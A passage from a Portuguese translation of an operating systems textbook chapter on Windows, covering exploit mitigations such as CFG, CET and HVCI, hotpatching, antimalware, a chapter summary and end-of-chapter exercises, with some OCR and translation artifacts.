invasor tenha derrotado o ASLR e possa ler ou escrever qualquer coisa no espaço de endereço da 
vítima, o Windows tem mitigações adicionais para impedir que o invasor obtenha a execução arbitrária 
de código. Há dois aspectos dessas mitigações: a prevenção do sequestro do fluxo de controle e a 
prevenção da geração arbitrária de código. 

Para sequestrar o fluxo de controle, a maioria das explorações corrompem um ponteiro de 
função (normalmente uma tabela de funções virtuais C++) para redirecioná-lo para um dispositivo ROP. 
CFG (Control Flow Guard) é uma mitigação que impõe integridade de fluxo de controle de granulação 
grossa para chamadas indiretas (como chamadas de método virtual) para evitar tais ataques. Baseia- 
se em metadados colocados em binários de código que descrevem o conjunto de locais de código que 
podem ser chamados indiretamente. Durante o carregamento do módulo, essas informações são 
codificadas pelo kernel em um bitmap global de processo, cnamado bitmap CFG, cobrindo todos os 
binários no espaço de endereço. O bitmap CFG é protegido para ser somente leitura no modo de 
usuário. Cada site de cnamada indireta executa uma verificação CFG para verificar se o endereço de 
destino está realmente marcado como chamável indiretamente no bitmap global. Caso contrário, o processo é encerrado. 
Como a grande maioria das funções em um binário não se destina a serem chamadas indiretamente, 

o CFG reduz significativamente as opções disponíveis para um invasor quando 
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corrompendo ponteiros de função. Em particular, os ponteiros de função só podem apontar para o 
primeira instrução de uma função, alinhada em 16 bytes, em vez de ROP gad arbitrário. 


Com o Windows 10, tornou-se possível habilitar o CFG no modo kernel com 
KCFG (Kernel CFG) , embora só tenha sido habilitado com base em virtualização 
segurança. Não é novidade que o KCFG aproveita o VSM para permitir que o Secure Kernel 
manter o bitmap CFG e evitar que qualquer pessoa no modo kernel VTLO o modifique. Com o Windows 
11, o Kernel CFG é habilitado por padrão em todas as máquinas. 

Um ponto fraco do CFG é que todos os alvos de chamadas indiretas são tratados da mesma forma; a 
ponteiro de função pode chamar qualquer função que pode ser chamada indiretamente, independentemente do número 
ou tipos de parâmetros. Uma versão melhorada do CFG, chamada XFG (Extended 
Flow Guard) foi desenvolvido para resolver esta deficiência. Em vez de um mapa de bits global, o XFG 
depende de hashes de assinatura de função para garantir que um site de chamada seja compatível com 
o destino de um ponteiro de função. Cada função que pode ser cnamada indiretamente é precedida por 
um hash que cobre seu tipo completo, incluindo o número e os tipos de seus 
parâmetros. Cada site de chamada conhece o hash de assinatura da função que pretende 
chamar e valida se o destino do ponteiro de função é uma correspondência. Como um 
Como resultado, o XFG é muito mais seletivo que o CFG na sua validação e não deixa 
muitas opções para os invasores. Embora a versão inicial do Windows 11 não 
não inclui o XFG, ele está presente nos voos do Windows Insider e provavelmente será enviado em um 
posterior lançamento oficial. 

CFG e XFG protegem apenas a borda direta do fluxo de código, validando chamadas indiretas. No 
entanto, como descrevemos anteriormente, muitos ataques corrompem o retorno da pilha 
endereços para sequestrar o fluxo do código quando a função da vítima retornar. A defesa confiável 
contra o sequestro de endereço de retorno usando um mecanismo somente de software acaba sendo 
ser muito difícil. Na verdade, a Microsoft implementou internamente tal defesa em 2017, 
chamado RFG (Return Flow Guard). RFG usou uma pilha de sombra de software em 
quais endereços de retorno na pilha de chamadas foram salvos na entrada da função e validados 
pelo epílogo da função. Mesmo que uma quantidade incrível de esforço de engenharia 
entrou neste projeto entre as equipes de compilador, sistemas operacionais e segurança, 

o projeto acabou sendo arquivado porque um pesquisador de segurança interna identificou um ataque 
com alta taxa de sucesso que corrompeu o endereço de retorno na pilha 

antes de ser copiado para a pilha de sombra. Tal ataque foi anteriormente considerado, mas considerado 
inviável devido à sua baixa taxa de sucesso esperada. RFG também 

contava com a pilha de sombra sendo ocultada do software em execução no processo 

(caso contrário, um invasor também poderá corromper a pilha de sombras). Logo depois 

RFG foi cancelado, outros pesquisadores de segurança identificaram maneiras confiáveis de localizar 
tais estruturas de dados acessadas com frequência no espaço de endereço. Estes foram alguns 
conclusões muito importantes do projeto: recursos de segurança que dependem de ocultação 

coisas e mecanismos probabilísticos não tendem a ser duráveis. 

Uma defesa robusta contra o sequestro de endereço de retorno teve que esperar até o CET da Intel 
foi lançado no final de 2020. CET é uma implementação de hardware de shadow stacks 
sem quaisquer condições de corrida (conhecidas) e não depende de manter a sombra 
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pilhas escondidas. Quando CET está habilitado, a instrução de chamada de função empurra o retorno 
endereço para a pilha de chamadas e para a pilha de sombra e o retorno subsequente com os compara. A 
pilha sombra é identificada para o processador por entradas PTE e é 
não pode ser escrito de acordo com as instruções regulares da loja. O Windows 10 implementou suporte para 
CET em modo de usuário e proteção estendida do Windows 11 para modo kernel com 
KCET (CET em modo kernel). Semelhante ao KCFG, o KCET depende do Kernel Seguro para proteger e 
manter a pilha sombra para cada thread. 

Uma abordagem alternativa para se defender contra o sequestro de endereço de retorno é 
Mecanismo PA C (Autenticação de Ponteiro) do ARM . Em vez de manter uma 
pilha sombra, o PAC assina criptograficamente os endereços de retorno na pilha e verifica a assinatura antes 
de retornar. O mesmo mecanismo pode ser usado para proteger 
outros ponteiros de função para implementar integridade de fluxo de código de ponta (que é 
manipulado através do CFG no Windows). Em geral, o PAC é considerado um instrumento mais fraco 
proteção do que o CET porque depende do sigilo das chaves usadas para assinatura 
e autenticação, mas também pode estar sujeito a ataques de substituição quando o mesmo 
o local da pilha é reutilizado para uma chamada diferente. Independentemente disso, o PAC é muito mais forte do que 
não tendo proteção, então o Windows 11 é construído com instruções PAC e suporta 
PA C no modo de usuário. Em sua documentação, a Microsoft se refere a esses endereços de retorno 


mecanismos de proteção genericamente como HSP (Hardware-enforced Stack Protection). 


Até agora, descrevemos como o Windows protege a integridade do fluxo de controle para frente e para 
trás usando CFG e HSP. Defesa contra execução arbitrária de código 
também requer que o próprio código esteja protegido. Os invasores não devem ser capazes de sobrescrever 
o código existente e não devem ser capazes de carregar código não autorizado ou gerar novo código no 
espaço de endereço. Na verdade, leitores atentos devem ter notado que 
a proteção oferecida por CFG/KCFG, CET/KCET ou PAC pode ser trivialmente 
derrotado se as instruções relevantes forem simplesmente substituídas pelo invasor. 

CIG (Code Integrity Guard) é o recurso de segurança do Windows 10 que 
permite que um processo exija que todos os binários de código carregados no processo sejam assinados 
por uma entidade reconhecida, evitando assim que códigos arbitrários e controlados por invasores sejam 
carregando no processo. No modo kernel, o Windows de 64 bits sempre exigiu 
drivers sejam devidamente assinados. Os vetores de ataque restantes são fechados com 
ACG (Arbitrary Code Guard) que impõe duas restrições: 


1. O código é imutável: também conhecido como W"X, garante que seja gravável e 


As proteções de página executável não podem ser habilitadas em uma página. 


2. Os dados não podem se transformar em código: páginas executáveis só podem nascer; página 
as proteções não podem ser alteradas para permitir a execução posterior. 


O gerenciador de memória do kernel impõe CIG e ACG em processos que aceitam. 

Como muitas aplicações dependem da injeção de código em outros processos, o CIG e o ACG 
não pode ser ativado globalmente devido a questões de compatibilidade, mas processos sensíveis 
que não fazem isso (como navegadores) os habilitam. 
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No modo kernel, as garantias ACG são fornecidas pelo HVCI (Hypervisor-enforce Code 
Integrity), que é um componente de segurança baseado em virtualização e reside no Kernel 
Seguro. Ele aproveita as proteções SLAT para impor requisitos W^X e de assinatura de código 
para o modo kernel VTL1 e para código que é carregado em trustlets IUM. 

O Windows 11 habilita HVCI por padrão. Quando o VBS não está habilitado, um componente do 
kernel chamado PatchGuard é responsável por garantir a integridade do código. Sem VBS e, 
portanto, sem proteção SLAT, não é possível prevenir deterministicamente ataques ao código. 
PatchGuard depende da captura de hashes de páginas de código originais e da verificação do 
hash em momentos aleatórios no futuro. Como tal, não impede a modificação do código, mas 
normalmente detecta-a ao longo do tempo, a menos que o atacante consiga restaurar as coisas 
ao seu estado original a tempo. Para evitar detecção e adulteração, o PatchGuard mantém-se 
oculto e suas estruturas de dados ofuscadas. 

Os invasores que possuem uma primitiva de leitura/gravação arbitrária nem sempre atacam 
o código ou o fluxo de código; eles também podem atacar várias estruturas de dados para obter 
execução ou alterar o comportamento do sistema. Por esse motivo, o PatchGuard também verifica 
a integridade de inúmeras estruturas de dados do kernel, variáveis globais, ponteiros de função e 
registros sensíveis do processador que podem ser usados para assumir o controle do sistema. 
Com o VBS habilitado, o HyperGuard, a contraparte VTL1 do PatchGuard, é responsável por 
manter a integridade das estruturas de dados do kernel. Muitas dessas estruturas de dados 
podem ser protegidas de forma determinística por meio de proteções SLAT e interceptações 
seguras que podem ser configuradas para disparar quando o VTLO modifica registros confidenciais 
do processador. E o KCFG protege ponteiros de função. Ainda assim, manter a integridade de 
estruturas de dados graváveis, como a lista de processos ou descritores de tipo de objeto, não 
pode ser feito facilmente com proteções SLAT; portanto, mesmo quando o HyperGuard está 
ativado, o PatchGuard ainda está ativo, embora em modo de funcionalidade reduzida. A Figura 
11.58 resume os recursos de segurança que discutimos. 


Contendo Danos 


Apesar de todos os esforços para evitar explorações, é possível (e provável) que intrusões 
maliciosas aconteçam mais cedo ou mais tarde. No mundo da segurança, não é aconselhável 
confiar numa única camada de segurança. Os mecanismos de contenção de danos no Windows 
fornecem defesa adicional aprofundada contra ataques que são capazes de contornar as 
mitigações existentes. Estes são todos os mecanismos de sandbox que já abordamos neste 
capítulo: 


1. AppContainers (Seção 11.2.1) 

2. Sandbox do navegador (Seção 11.11.83) 

3. Microsoft Defender Application Guard (Seção 11.10.2) 
4. Sandbox do Windows (Seção 11.10.2) 


5. Trustlets IUM (Seção 11.10.83) 
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Mitigação Somente VBS Descrição 
Iniciar tudo Não Inicializa com zero variáveis de pilha para evitar vulnerabilidades 
/GS Não Adicione canário para empilhar quadros para proteger endereços de retorno 
DEP Não Prevenção de Execução de Dados. Pilhas e heaps não são executáveis 
ASLR/KASLR Não Randomize o espaço de endereço do usuário/kernel para dificultar os ataques ROP 
CFG Não Proteção de fluxo de controle. Proteja a integridade do fluxo de controle de ponta 
KCFG Sim CFG em modo Kernel. Kernel seguro mantém bitmap CFG 
XFG Não Proteção de fluxo estendida. Proteção muito mais refinada do que CFG 
CET Não Forte defesa contra ataques ROP usando shadow stacks 
KCET Sim CET em modo Kernel. Kernel seguro mantém pilhas de sombra. 
PAC Não Protege endereços de retorno de pilha usando assinaturas 
CIG Não Impõe que os binários de código sejam assinados corretamente 
ACG Não Aplicação do modo de usuário para W"X e que os dados não podem se tornar código 
HVCI Sim Aplicação do modo Kernel para W^X e esses dados não podem se tornar código 
PatchGuard Não Detectar tentativas de modificar o código e os dados do kernel 
HiperGuard Sim Proteção mais forte que PatchGuard 
Windows Defender Não Software antimalware integrado 


Figura 11-58. Algumas das principais proteções de segurança do Windows. 


Limitando a janela de tempo para explorar 


A maneira mais direta de limitar a exploração de um bug de segurança é corrigir ou mitigar 


a questão e implantá-la de forma ampla o mais rápido possível. O Windows Update é um 


serviço automatizado que fornece correções para vulnerabilidades de segurança, corrigindo o 


programas e bibliotecas afetados no Windows. Muitas das vulnerabilidades corrigidas 


foram relatados por pesquisadores de segurança, e suas contribuições são reconhecidas em 


as notas anexadas a cada correção. Ironicamente, as próprias atualizações de segurança representam um 


risco significativo. Muitas vulnerabilidades usadas pelos invasores são exploradas somente após um 


correção foi publicada pela Microsoft. Isso ocorre porque a engenharia reversa das correções 


por si próprios é a principal forma pela qual a maioria dos hackers descobre vulnerabilidades em sistemas. 


Os sistemas que não tiveram todas as atualizações conhecidas aplicadas imediatamente são, portanto, suscetíveis 


a ataques. A comunidade de pesquisa em segurança geralmente insiste que as empresas 


corrigir todas as vulnerabilidades encontradas dentro de um prazo razoável. O patch mensal atual 


frequência usada pela Microsoft é um compromisso entre manter a comunidade 


satisfeitos e com que frequência os usuários devem lidar com patches para manter seus sistemas seguros. 


Uma causa significativa de atraso na correção de problemas de segurança é a necessidade de reinicialização 


depois que os binários atualizados forem implantados nas máquinas do cliente. As reinicializações são muito 


convenientes quando muitos aplicativos estão abertos e o usuário está no meio do trabalho. 


A situação é semelhante em máquinas servidoras onde qualquer tempo de inatividade pode resultar em 


Sites, servidores de arquivos e bancos de dados ficam inacessíveis. Em datacenters em nuvem, hospede 
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O tempo de inatividade do sistema operacional resulta na indisponibilidade de todas as máquinas virtuais 
hospedadas. Em resumo, nunca é um bom momento para reiniciar as máquinas e instalar atualizações de segurança. 

Como resultado, muitas máquinas de clientes permanecem vulneráveis a ataques de múltiplos 
dias, mesmo que a correção esteja no disco. O Windows Update faz o possível para 
cutucar o usuário para reiniciar, mas ele precisa caminhar em uma linha tênue entre proteger o 
máquina e perturbar o usuário, forçando uma reinicialização. 

Hotpatching é uma tecnologia de atualização sem reinicialização que pode eliminar essas difíceis 
compensações. Em vez de substituir os binários no disco por outros atualizados, o hotpatch implanta 
um binário de patch, carrega-o na memória em tempo de execução e dinamicamente 
redireciona o fluxo de código do binário base para o binário patch com base em metadados 
incorporado no binário do patch. Em vez de substituir binários inteiros, o hotpatching 
funciona no nível de função individual e redireciona apenas funções selecionadas para seus 
versões atualizadas no binário do patch. Eles são chamados de patches avançados. Funções não 
modificadas sempre são executadas no binário base para que possam ser corrigidas posteriormente, se 
necessário. Como resultado, se uma função atualizada no binário patch cnama uma função não 
modificada, a função não modificada precisa ser corrigida novamente para o binário base. Além 
disso, se as funções de patch precisarem acessar variáveis globais, tais acessos 
precisa ser redirecionado para os globais do binário base por meio de uma indireção. 

Binários de patch são imagens executáveis portáteis (PE) regulares que incluem patch 
metadados. Os metadados do patch identificam a imagem base à qual o patch se aplica e 
lista os endereços relativos à imagem das funções a serem corrigidas, incluindo encaminhamento e 
manchas para trás. Devido às diferenças nos conjuntos de instruções, a aplicação de patch difere 
ligeiramente entre x64 e arm64, mas o fluxo de código permanece o mesmo. Em ambos 
casos, um HPAT (Hotpatch Address Table) é alocado logo após cada binário 
(incluindo binários de patch). Cada entrada HPAT é preenchida com o código necessário 
para redirecionar a execução para o destino. Então, o ato de aplicar um avanço ou retrocesso 
patch para uma função equivale a sobrescrever a primeira instrução da função para 
faça-o pular para sua entrada HPAT correspondente. Em x64, isso requer 6 bytes de 
o preenchimento deve estar presente antes de cada função, mas o arm64 não possui esse requisito. 


A Figura 11-59 ilustra código e fluxo de dados em um hotpatch com um exemplo 
onde as funções foo() e baz() são atualizadas em mylib patch.dll. Ao aplicar 
neste patch, o mecanismo de patch preencherá o HPAT para mylib.dll com 
código de redirecionamento direcionado a foo( ) e baz( ) no binário do patch, rotulado como foo' e 
baz'. Além disso, como foo( ) chama bar( ) e bar() não foi atualizado, o mecanismo de patch é 
preencheremos o HPAT para o binário do patch para redirecionar bar( ) de volta à sua implementação 
no binário base. Finalmente, como foo() faz referência a uma variável global, o 
o código emitido pelo compilador para foo() no binário do patch acessará indiretamente 
o global através de um ponteiro. Portanto, o mecanismo de patch também atualizará esse ponteiro para 
consulte a variável global no binário base. 

Hotpatching é suportado para modo de usuário, modo kernel, modo kernel VTL1 e 
até mesmo o hipervisor. Os hotpatches de modo de usuário são aplicados pelo NTOS, os hotpatches 
de modo kernel VTLO são aplicados pelo Kernel Seguro (que também é capaz de corrigir 
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mylib.dil mylib patch.dil 


mm MyGlobal (unused) 
Pointer to MyGlobal 


1 
1 
I 
, 


MyGlobal = 1 
bar() 


if (Ptr != NULL) 
*Ptr=5 


«df Code flow 
-Œ --- Data flow 


Figura 11-59. Aplicativo hotpatch para mylib.dll. As funções foo() e baz() são 
atualizado no binário do patch, mylib patch.dll. 


em si) e o hipervisor corrige a si mesmo. Como tal, o VBS é um pré-requisito para hot patching. O NTOS é 
responsável por validar a assinatura adequada para hot patches no modo de usuário e o SK valida todos os 
outros tipos de hotpatches, de modo que um agente mal-intencionado 
não pode apenas fazer o hotpatch do kernel. 

O hotpatching é vital para a frota do Azure e está em uso desde meados da década de 2010. 
Todos os meses, milhões de máquinas em datacenters recebem hotpatches com diversas correções 
e atualizações de recursos, sem tempo de inatividade para máquinas virtuais de clientes. O hotpatch também 
é compatível com a Azure Edition do Windows Server 2019 e 2022. 
Esses sistemas operacionais podem ser configurados para receber pacotes de hotpatch cumulativos do 
Windows Update por vários meses, seguidos por uma reinicialização necessária, 
atualização sem hotpatch. Uma atualização regular necessária para reinicialização é necessária a cada poucos 
meses porque nem sempre é possível corrigir todos os problemas com um hotpatch. 


Antimalware 


Além de todos os mecanismos de segurança descritos nesta seção, outro 
A camada de defesa é o software antimalware que se tornou uma ferramenta crítica para combater códigos 
maliciosos. O antimalware pode detectar e colocar em quarentena códigos maliciosos mesmo 
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antes de começar a atacar. O Windows inclui um pacote antimalware completo chamado Windows 
Defender. Esse tipo de software se conecta às operações do kernel para detectar malware dentro de 
arquivos, bem como reconhecer os padrões de comportamento usados por instâncias específicas (ou 
categorias gerais) de malware. Esses comportamentos incluem as técnicas usadas para sobreviver a 
reinicializações, modificar o registro para alterar o comportamento do sistema e iniciar processos e 
serviços específicos necessários para implementar um ataque. O Windows Defender oferece uma boa 
proteção contra malware comum e pacotes de software semelhantes também estão disponíveis em 
fornecedores terceirizados. 


11.12 RESUMO 


O modo kernel no Windows é estruturado no HAL, no kernel e nas camadas executivas do NTOS, 
e em um grande número de drivers de dispositivos que implementam tudo, desde serviços de 
dispositivos a sistemas de arquivos e redes a gráficos. O HAL esconde certas diferenças de hardware 
em relação aos outros componentes. A camada kernel gerencia as CPUs para suportar multithreading 
e sincronização, e o executivo implementa a maioria dos serviços no modo kernel. 


O executivo é baseado em objetos de modo kernel que representam as principais estruturas de 
dados executivos, incluindo processos, threads, seções de memória, drivers, dispositivos e objetos de 
sincronização — para mencionar alguns. Os processos de usuário criam objetos cnamando serviços 
do sistema e recuperam referências de identificador que podem ser usadas em chamadas de sistema 
subsequentes para os componentes executivos. O sistema operacional também cria objetos 
internamente. O gerenciador de objetos mantém um namespace no qual os objetos podem ser inseridos 
para pesquisa subsequente. 

Os objetos mais importantes no Windows são processos, threads e seções. 

Os processos possuem espaços de endereço virtual e são contêineres de recursos. Threads são a 
unidade de execução e são escalonados pela camada do kernel usando um algoritmo de prioridade 

no qual o thread pronto de maior prioridade sempre é executado, antecipando threads de prioridade 
mais baixa conforme necessário. As seções representam objetos de memória, como arquivos, que 
podem ser mapeados nos espaços de endereço dos processos. As imagens dos programas EXE e DLL 
são representadas como seções, assim como a memória compartilhada. 

O Windows dá suporte à memória virtual paginada por demanda. O algoritmo de paginação é 
baseado no conceito de conjunto de trabalho. O sistema mantém diversos tipos de listas de páginas, 
para otimizar o uso da memória. As diversas listas de páginas são alimentadas aparando os conjuntos 
de trabalho usando fórmulas complexas que tentam reutilizar páginas físicas que não são referenciadas 
há muito tempo. O gerenciador de cache gerencia endereços virtuais no kernel que podem ser usados 
para mapear arquivos na memória, melhorando drasticamente o desempenho de E/S para muitos 
aplicativos porque as operações de leitura podem ser satisfeitas sem acessar o disco. 


A E/S é executada por drivers de dispositivo, que seguem o modelo de driver do Windows. 
Cada driver começa inicializando um objeto driver que contém os endereços dos procedimentos que o 
sistema pode chamar para manipular dispositivos. Os dispositivos reais 
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são representados por objetos de dispositivo, que são criados a partir da descrição de 
configuração do sistema ou pelo gerenciador plug-and-play à medida que ele descobre dispositivos 
ao enumerar os barramentos do sistema. Os dispositivos são empilhados e os pacotes de 
solicitação de E/S são transmitidos pela pilha e atendidos pelos drivers de cada dispositivo na 
pilha de dispositivos. A E/S é inerentemente assíncrona e os drivers geralmente enfileiram 
solicitações para trabalho adicional e retornam ao chamador. Os volumes do sistema de arquivos 
são implementados como dispositivos no sistema de E/S. 

O sistema de arquivos NTFS é baseado em uma tabela de arquivos mestre, que possui um 
registro por arquivo ou diretório. Todos os metadados em um sistema de arquivos NTFS fazem 
parte de um arquivo NTFS. Cada arquivo possui vários atributos, que podem estar no registro 
MFT ou não residentes (armazenados em blocos fora da MFT). O NTFS oferece suporte a 
Unicode, compactação, registro em diário e criptografia, entre muitos outros recursos. 

Finalmente, o Windows possui um sofisticado sistema de segurança baseado em listas de 
controle de acesso e níveis de integridade. Cada processo possui um token de autenticação que 
informa a identidade do usuário e quais privilégios especiais o processo possui, se houver. Cada 
objeto possui um descritor de segurança associado a ele. O descritor de segurança aponta para 
uma lista de controle de acesso discricionária que contém entradas de controle de acesso que 
podem permitir ou negar acesso a indivíduos ou grupos. O Windows adicionou vários recursos 
de segurança em versões recentes, incluindo BitLocker para criptografar volumes inteiros e 


randomização de espaço de endereço, pilhas não executáveis e outras medidas para dificultar 
ataques bem-sucedidos. 


PROBLEMAS 


1. Dê uma vantagem e uma desvantagem do registro em vez de ter arquivos .ini individuais . 


2. Um mouse pode ter um, dois ou três botões. Todos os três tipos estão em uso. O HAL esconde 
essa diferença do resto do sistema operacional? Por que ou por que não? 


3. O HAL registra o tempo a partir do ano 1601. Dê um exemplo de aplicação 
onde esse recurso é útil. 


P 


. Na seg. 11.3.3, descrevemos os problemas causados por aplicativos multithread que fecham 
identificadores em um thread enquanto ainda os utilizam em outro. Uma possibilidade para 
corrigir isso seria inserir um campo de sequência. Como isso poderia ajudar? Que mudanças no 
sistema seriam necessárias? 


5. Muitos componentes do executivo (Fig. 11-11) nomeiam outros componentes do executivo. 
Dê três exemplos de um componente chamando outro, mas use (seis) componentes diferentes 
ao todo. 


6. Como você projetaria um mecanismo para obter isolamento BNO (BaseNamedObjects) para 
aplicativos não UWP? 


7. Uma alternativa ao uso de DLLs é vincular estaticamente cada programa precisamente aos 
procedimentos de biblioteca que ele realmente chama, nem mais nem menos. Se este regime 
fosse introduzido, quais seriam as vantagens e desvantagens? 
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8. Por que \?? diretório especialmente tratado no gerenciador de objetos em vez de lidar com ele 
na camada Win32 em kernelbase.dll como BNO? 


9. O Windows usa páginas grandes de 2 MB porque melhora a eficácia do TLB, 
que pode ter um impacto profundo no desempenho. Por que é isso? Por que 2 MB são grandes 
páginas não usadas o tempo todo? 


10. Existe algum limite no número de operações diferentes que podem ser definidas em um objeto executivo? Se sim, 
de onde vem esse limite? Se não, por que não? 


11. A chamada da API Win32 WaitForMultipleObjects permite que um thread seja bloqueado em um conjunto de objetos 
de sincronização cujos identificadores são passados como parâmetros. Assim que qualquer um dos 
eles são sinalizados, o thread de chamada é liberado. É possível que o conjunto de objetos de sincronização 
inclua dois semáforos, um mutex e uma seção crítica? 
Por que ou por que não? (Dica: Esta não é uma pergunta capciosa, mas requer algum cuidado 


pensamento.) 


12. Ao inicializar uma variável global em um programa multithread, um erro comum de programação é permitir uma 
condição de corrida onde a variável pode ser inicializada duas vezes. 
Por que isso poderia ser um problema? O Windows fornece a API InitOnceExecuteOnce para evitar tais corridas. 
Como isso pode ser implementado? 


13. Por que é uma má ideia permitir a aquisição recursiva de bloqueios mesmo para aquisições compartilhadas? 


14. Como você implementaria um buffer limitado usando um bloqueio SRW e uma variável de condição? As operações 
a serem implementadas são Add( ) e Remove( ) onde Add() adiciona um 
item para o buffer, bloqueando se não houver espaço disponível. Remove( ) remove um item, esperando até que 
um esteja disponível. 


15. Cite três motivos pelos quais um processo de desktop pode ser encerrado. Que motivo adicional pode fazer com 
que um processo que executa um aplicativo moderno seja encerrado? 


16. Os aplicativos modernos devem salvar seu estado em disco sempre que o usuário sai 
do aplicativo. Isso parece ineficiente, pois os usuários podem voltar para um aplicativo 
muitas vezes e o aplicativo simplesmente retoma a execução. Por que o sistema operacional exige que os 
aplicativos salvem seu estado com tanta frequência, em vez de apenas dar-lhes uma chance? 
chance no momento em que o aplicativo será realmente encerrado? 


17. Conforme descrito na Seç. 11.4, há uma tabela de manipuladores especial usada para alocar IDs para processos e 
threads. Os algoritmos para tabelas de manipulação normalmente alocam o primeiro disponível 
identificador (mantendo a lista livre na ordem LIFO). Nas versões recentes do Windows, isso 
foi alterado para que a tabela de IDs sempre mantenha a lista livre na ordem FIFO. O que é 
problema que a ordem LIFO potencialmente causa para a alocação de IDs de processo e por que 
o UNIX não tem esse problema? 


18. Suponha que o quantum esteja definido para 20 ms e o thread atual, com prioridade 24, tenha 
acabei de iniciar um quantum. De repente, uma operação de E/S é concluída e um thread de prioridade 28 
está pronto. Quanto tempo leva para esperar para rodar na CPU? 


19. No Windows, a prioridade atual é sempre maior ou igual à prioridade base. 
Há alguma circunstância em que faria sentido ter a actual prioridade 
ser inferior à prioridade básica? Se sim, dê um exemplo. Se não, por que não? 
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20. 


21. 


22. 


23. 


24. 


25. 


26. 


27. 


28. 


29. 


30. 


31. 


32. 


33. 


O Windows usa um recurso chamado Autoboost para aumentar temporariamente a prioridade de um thread que contém o 
recurso exigido por um thread de prioridade mais alta. Como você acha que isso funciona? 


No Windows, é fácil implementar um recurso onde threads em execução no kernel podem se conectar temporariamente ao 
espaço de endereço de um processo diferente. Por que isso é muito mais difícil de implementar no modo de usuário? Por 


que seria interessante fazer isso? 
Cite duas maneiras de fornecer melhor tempo de resposta aos threads em processos importantes. 


Mesmo quando há bastante memória livre disponível e o gerenciador de memória não precisa cortar conjuntos de trabalho, 
o sistema de paginação ainda pode frequentemente gravar no disco. Por que? 


O Windows troca os processos por aplicativos modernos em vez de reduzir seu conjunto de trabalho e paginá-los. Por que 
isso seria mais eficiente? (Dica: faz muito menos diferença quando o disco é um SSD.) 


Por que o automapa usado para acessar as páginas físicas do diretório de páginas e tabelas de páginas de um processo 
sempre ocupa os mesmos 512 GB de endereços virtuais do kernel (com tabelas de páginas de 4 níveis mapeando espaço 
de endereço de 48 bits no x64 )? 


Em x64, com tabelas de páginas de 4 níveis, qual seria o endereço virtual do automapa 
entrada se a entrada do automapa estivesse no índice 0x155 em vez de 0x1ED? 


Se uma região do espaço de endereço virtual for reservada, mas não confirmada, você acha que um VAD será criado para 
ela? Defenda sua resposta. 


Quais das transições mostradas na Figura 11.37 são decisões políticas, em oposição a movimentos necessários forçados 
por eventos do sistema (por exemplo, um processo saindo e liberando suas páginas)? 


Suponha que uma página seja compartilhada e esteja em dois conjuntos de trabalho ao mesmo tempo. Se for expulso de 
um dos conjuntos de trabalho, para onde irá na Figura 11.37? O que acontece quando ele é expulso do segundo conjunto 
de trabalho? 


Quais são as outras maneiras pelas quais as cargas de trabalho podem interferir umas com as outras em uma máquina, 
mesmo se as executarmos em núcleos de processador diferentes, usarmos partições de memória e usarmos discos 


diferentes (ou usarmos controles de taxa de io de disco)? 


Quais são alguns outros benefícios potenciais de uma infraestrutura como a compactação de memória, além do que foi 
mencionado neste capítulo até agora? Quais são algumas possibilidades? 


Suponha que um objeto despachante representando algum tipo de bloqueio exclusivo (como um mutex) esteja marcado 
para usar um evento de notificação em vez de um evento de sincronização para anunciar que o bloqueio foi liberado. Por 
que isso seria ruim? Quanto a resposta dependeria dos tempos de espera do bloqueio, da duração do quantum e se o 


sistema era um multiprocessador? 


Para oferecer suporte a POSIX, a API nativa NtCreateProcess oferece suporte à duplicação de um processo para oferecer 
suporte a fork. No UNIX, fork geralmente é seguido por um exec. Um exemplo em que isso foi usado historicamente foi 
no programa de despejo de Berkeley , que fazia backup de discos em fita magnética. Fork foi usado como uma forma de 
verificar o programa de despejo para que ele pudesse ser reiniciado se houvesse um erro no dispositivo de fita. Dê um 
exemplo de como o Windows pode fazer algo semelhante usando NtCreateProcess. (Dica: considere processos que 
hospedam DLLs para implementar funcionalidades fornecidas por terceiros.) 
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34. Um arquivo possui o seguinte mapeamento. Forneça as entradas de execução do MFT. 


Desvio 012345678910 
Endereço do disco 50 5152222425 26 53 54 - 60 


35. Considere o registro MFT da Figura 11.46. Suponha que o arquivo tenha crescido e um 10° bloco 


foi atribuído ao final do arquivo. O número deste bloco é 66. Qual seria o 
O registro MFT está como agora? 


36. Na Figura 11.49(b), as duas primeiras passagens têm, cada uma, 8 blocos de comprimento. É apenas um acidente 
que eles são iguais ou isso tem a ver com o modo como a compactação funciona? Explicar 
sua Resposta. 


37. Suponha que você queira criar o Windows Lite. Qual dos campos da Fig. 11-55 
poderiam ser removidos sem enfraquecer a segurança do sistema? 


38. A estratégia de mitigação para melhorar a segurança, apesar da presença contínua de vulnerabilidades, tem sido 
muito bem sucedida. Os ataques modernos são muito sofisticados, muitas vezes 
exigindo a presença de múltiplas vulnerabilidades para construir uma exploração confiável. Um dos 
vulnerabilidades que geralmente são necessárias é um vazamento de informações. Explique como um 
vazamento de informações pode ser usado para derrotar a randomização do espaço de endereço, a fim de lançar um 
ataque baseado em programação orientada a retorno. 


39. Um modelo de extensão usado por muitos programas (navegadores da Web, Office, servidores COM) 
envolve hospedar DLLs para conectar e estender sua funcionalidade subjacente. Este é um modelo razoável 
para um serviço baseado em RPC usar, desde que tenha o cuidado de personificar 
clientes antes de carregar a DLL? Por que não? 


40. Ao executar em uma máquina NUMA, sempre que o gerenciador de memória do Windows precisar 
para alocar uma página física para lidar com uma falha de página, ele tenta usar uma página do 
Nó NUMA para o processador ideal do thread atual. Por que? E se o thread estiver sendo executado em um 
processador diferente? 


41. Dê alguns exemplos em que um aplicativo pode ser capaz de se recuperar facilmente de um 


backup baseado em uma cópia de sombra de volume e não no estado do disco após um sistema 
colidir. 


42. Na Seç. 11.10, fornecer nova memória para o heap do processo foi mencionado como um dos 
cenários que exigem fornecimento de páginas zeradas para satisfazer requisitos de segurança. Dê um ou mais 
exemplos de operações de memória virtual que requerem 
páginas zeradas. 


43. O Windows contém um hipervisor que permite a execução simultânea de vários sistemas operativos. Isso está 
disponível para clientes, mas é muito mais importante na computação em nuvem. 
Quando uma atualização de segurança é aplicada a um sistema operacional convidado, não é muito diferente 
do que corrigir um servidor. No entanto, quando uma atualização de segurança é aplicada ao sistema 
operacional raiz, isso pode ser um grande problema para os usuários de computação em nuvem. O que é 
natureza do problema? O que pode ser feito a respeito? 


44. A Seção 11.10 descreve três abordagens diferentes para escalonar processadores lógicos 
para VMs. Um deles é conhecido como escalonador raiz, que usa os threads do host para 
de volta um processador virtual na VM. Este esquema de escalonamento leva em consideração a prioridade do 
thread em execução no processador virtual como uma dica sobre o que o thread host 
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prioridade deveria ser. Quais são as vantagens disso e por que a prioridade do thread remoto é apenas uma 
dica? 


45. A Figura 11.53 ilustra como o namespace do sistema de arquivos exposto a um contêiner do Windows Server é 
